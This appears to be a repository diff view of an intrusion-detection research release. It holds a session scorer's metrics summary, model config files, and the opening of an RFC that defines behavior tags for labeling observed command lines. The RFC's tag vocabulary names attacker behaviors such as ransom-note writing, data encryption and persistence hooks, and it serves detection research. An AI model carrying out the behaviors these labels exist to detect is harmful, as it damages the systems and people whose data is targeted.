"schema": "secebl_rev20_l2_public_summary_v1",
|
| 3 |
+
"l1_release": "SecEBL-Rev20 public L1 release",
|
| 4 |
+
"l2_release": "SecEBL-Rev20 public L2 artifact",
|
| 5 |
+
"model_type": "logistic_regression_session_scorer",
|
| 6 |
+
"scoring_scope": "experimental fitted L2 session scorer over cached L1 semantic features",
|
| 7 |
+
"runtime_feature_exclusions": [
|
| 8 |
+
"raw_command_text",
|
| 9 |
+
"user_name",
|
| 10 |
+
"host_name",
|
| 11 |
+
"session_id"
|
| 12 |
+
],
|
| 13 |
+
"training_mixture": {
|
| 14 |
+
"sessions": 5747,
|
| 15 |
+
"positive_sessions": 426,
|
| 16 |
+
"negative_sessions": 5321,
|
| 17 |
+
"synthetic_pressure_positive_sessions": 60,
|
| 18 |
+
"reviewed_real_pressure_positive_sessions": 1,
|
| 19 |
+
"random_real_pressure_background_negative_sessions": 5000,
|
| 20 |
+
"reviewed_hard_negative_pressure_sessions": 23
|
| 21 |
+
},
|
| 22 |
+
"validation_oof": {
|
| 23 |
+
"folds": 5,
|
| 24 |
+
"accuracy": 0.9939098660170523,
|
| 25 |
+
"attack_precision": 0.9643705463182898,
|
| 26 |
+
"attack_recall": 0.9530516431924883,
|
| 27 |
+
"normal_recall": 0.9971809810186055,
|
| 28 |
+
"tp": 406,
|
| 29 |
+
"fn": 20,
|
| 30 |
+
"fp": 15,
|
| 31 |
+
"tn": 5306
|
| 32 |
+
},
|
| 33 |
+
"withheld_session_benchmark_fit_check": {
|
| 34 |
+
"sessions": 663,
|
| 35 |
+
"rows_seen": 12594,
|
| 36 |
+
"attack_sessions": 365,
|
| 37 |
+
"normal_sessions": 298,
|
| 38 |
+
"accuracy": 1.0,
|
| 39 |
+
"attack_precision": 1.0,
|
| 40 |
+
"attack_recall": 1.0,
|
| 41 |
+
"normal_recall": 1.0,
|
| 42 |
+
"tp": 365,
|
| 43 |
+
"fn": 0,
|
| 44 |
+
"fp": 0,
|
| 45 |
+
"tn": 298
|
| 46 |
+
},
|
| 47 |
+
"pressure_stream_fit_check": {
|
| 48 |
+
"rows_seen": 6286568,
|
| 49 |
+
"sessions": 102117,
|
| 50 |
+
"alert_sessions": 61,
|
| 51 |
+
"reviewed_real_alert_sessions": 1,
|
| 52 |
+
"synthetic_alert_sessions": 60,
|
| 53 |
+
"raw_rows_redistributed": false,
|
| 54 |
+
"real_session_identifiers_redistributed": false
|
| 55 |
+
},
|
| 56 |
+
"thresholds": {
|
| 57 |
+
"score_threshold": 0.5,
|
| 58 |
+
"model_probability_threshold": 0.9,
|
| 59 |
+
"score_transform": "threshold_margin",
|
| 60 |
+
"score_transform_scale": 2.0
|
| 61 |
+
},
|
| 62 |
+
"caveat": "This is an experimental fitted L2 artifact for reproducible SecEBL-Rev20 session experiments, not an independent claim of general production IDS accuracy."
|
| 63 |
+
}
|
model.safetensors
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:2e550ed4a5e95173641c3fca0925d4f3a25b0afb5d7a527789bb0ef5f247140b
|
| 3 |
+
size 596070136
|
modules.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"idx": 0,
|
| 4 |
+
"name": "0",
|
| 5 |
+
"path": "",
|
| 6 |
+
"type": "sentence_transformers.models.Transformer"
|
| 7 |
+
},
|
| 8 |
+
{
|
| 9 |
+
"idx": 1,
|
| 10 |
+
"name": "1",
|
| 11 |
+
"path": "1_Pooling",
|
| 12 |
+
"type": "sentence_transformers.models.Pooling"
|
| 13 |
+
}
|
| 14 |
+
]
|
rev20_tag_rfc.md
ADDED
|
@@ -0,0 +1,1727 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Rev20 Tagging RFC
|
| 2 |
+
|
| 3 |
+
Status: draft-1
|
| 4 |
+
Applies to: `v4/data/tags_schema_rev20.json` vocabulary revision 20
|
| 5 |
+
Owner: AgentSmith corpus maintainers
|
| 6 |
+
|
| 7 |
+
Together with `v4/data/tags_schema_rev20.json`, this document is the complete
|
| 8 |
+
authority for rev20 `behavior_tags[]`.
|
| 9 |
+
|
| 10 |
+
The RFC core defines stable tagging semantics. Appendix examples are maintained
|
| 11 |
+
in this same file so reviewers have one place to look, but examples are not new
|
| 12 |
+
rules. If an appendix example appears to conflict with the RFC core, the RFC core
|
| 13 |
+
wins and the example MUST be fixed.
|
| 14 |
+
|
| 15 |
+
## Changelog
|
| 16 |
+
|
| 17 |
+
- 2026-06-17: Folded Kubernetes AuditLog normalized-event semantics into this
|
| 18 |
+
single RFC. K8s Audit operational notes are non-normative; this file remains
|
| 19 |
+
the only RFC authority for rev20 behavior semantics.
|
| 20 |
+
- 2026-06-13: Added `write_ransom_note` for visible creation or modification
|
| 21 |
+
of ransom, recovery, or extortion-note content; this is distinct from
|
| 22 |
+
`encrypt_data` and from generic file-write mechanics.
|
| 23 |
+
- 2026-06-13: Removed generic file create/write/delete/copy/move labels from
|
| 24 |
+
rev20; file-path behavior is now represented by retained security-semantic
|
| 25 |
+
tags such as temporary or hidden staging, critical system paths, special nodes,
|
| 26 |
+
executable content, persistence hooks, trust stores, and domain-specific
|
| 27 |
+
mutations.
|
| 28 |
+
- 2026-06-13: Removed `search_other` and `query_remote_service`; generic search
|
| 29 |
+
and generic remote/API query mechanics are no longer behavior labels unless
|
| 30 |
+
the visible command supports a retained security-semantic target.
|
| 31 |
+
- 2026-06-13: Added a schema boundary matrix so every broad tag family has an
|
| 32 |
+
explicit rev20 boundary in the RFC core instead of relying on schema names
|
| 33 |
+
alone.
|
| 34 |
+
|
| 35 |
+
## Normative Words
|
| 36 |
+
|
| 37 |
+
The words **MUST**, **MUST NOT**, **SHOULD**, **SHOULD NOT**, and **MAY** are
|
| 38 |
+
used in the RFC sense.
|
| 39 |
+
|
| 40 |
+
- **MUST**: required for every corpus row and review.
|
| 41 |
+
- **MUST NOT**: forbidden even when a reviewer thinks the alternative is useful.
|
| 42 |
+
- **SHOULD**: default behavior; exceptions require a cited RFC principle,
|
| 43 |
+
listed ambiguity, or row-specific justification.
|
| 44 |
+
- **MAY**: allowed but not required.
|
| 45 |
+
|
| 46 |
+
## Authority Order
|
| 47 |
+
|
| 48 |
+
Only two sources are normative:
|
| 49 |
+
|
| 50 |
+
1. `v4/data/tags_schema_rev20.json`: allowed tag names, maintenance groups,
|
| 51 |
+
output shape, invariants, and validation metadata.
|
| 52 |
+
2. This RFC core: evidence model, decision procedure, tagging principles, and
|
| 53 |
+
review/change rules.
|
| 54 |
+
|
| 55 |
+
Prompts, review logs, historical corpus labels, training data, and appendix
|
| 56 |
+
examples are non-normative unless the RFC core explicitly imports their content.
|
| 57 |
+
|
| 58 |
+
The schema MUST remain a vocabulary artifact. It MUST NOT contain reference
|
| 59 |
+
examples, few-shot examples, boundary-rule lists, or case-specific review
|
| 60 |
+
guidance. Those belong in this RFC.
|
| 61 |
+
|
| 62 |
+
A reviewer MUST NOT change a corpus row only because a historical label "feels
|
| 63 |
+
less ideal". A row changes only when it violates the schema or a normative
|
| 64 |
+
requirement in this RFC core.
|
| 65 |
+
|
| 66 |
+
## Core Contract
|
| 67 |
+
|
| 68 |
+
Input:
|
| 69 |
+
|
| 70 |
+
```text
|
| 71 |
+
one raw observed command line or normalized audit/event line
|
| 72 |
+
```
|
| 73 |
+
|
| 74 |
+
Output:
|
| 75 |
+
|
| 76 |
+
```json
|
| 77 |
+
{"behavior_tags": ["zero or more visible complete behavior labels"]}
|
| 78 |
+
```
|
| 79 |
+
|
| 80 |
+
The output describes objective behavior visible in this single command line. It
|
| 81 |
+
does not describe maliciousness, authorization, success, session-level intent,
|
| 82 |
+
campaign identity, likely operator purpose, or facts learned only by executing
|
| 83 |
+
the command.
|
| 84 |
+
|
| 85 |
+
## Evidence Model
|
| 86 |
+
|
| 87 |
+
Reviewers MUST classify every possible tag source into one of these evidence
|
| 88 |
+
classes before assigning tags.
|
| 89 |
+
|
| 90 |
+
| Evidence class | Taggable? | Rule |
|
| 91 |
+
| --- | --- | --- |
|
| 92 |
+
| Executed stage | Yes | A command stage the shell, remote boundary, container boundary, workload boundary, chroot, or tool actually runs now. |
|
| 93 |
+
| Nested executed command | Yes | A command visibly executed now by `ssh`, `kubectl exec`, `docker exec`, `chroot`, equivalent remote/workload exec, or explicit shell execution. |
|
| 94 |
+
| Reference operand | Usually no | A file passed as config/defaults/properties/input for a different primary operation is not a read of that file's semantic content. |
|
| 95 |
+
| Output path | No by itself | A destination path can classify a write, but it does not prove a read or future execution. |
|
| 96 |
+
| Quoted text / search pattern | No by itself | Text matched, searched for, printed, written, or stored is not executed now and does not become a behavior solely because it appears as text. |
|
| 97 |
+
| Persisted payload | Only the current write/mutation | Cron, systemd, shell startup, Dockerfile, CI, package hook, or config content is future behavior unless this command also executes it now. |
|
| 98 |
+
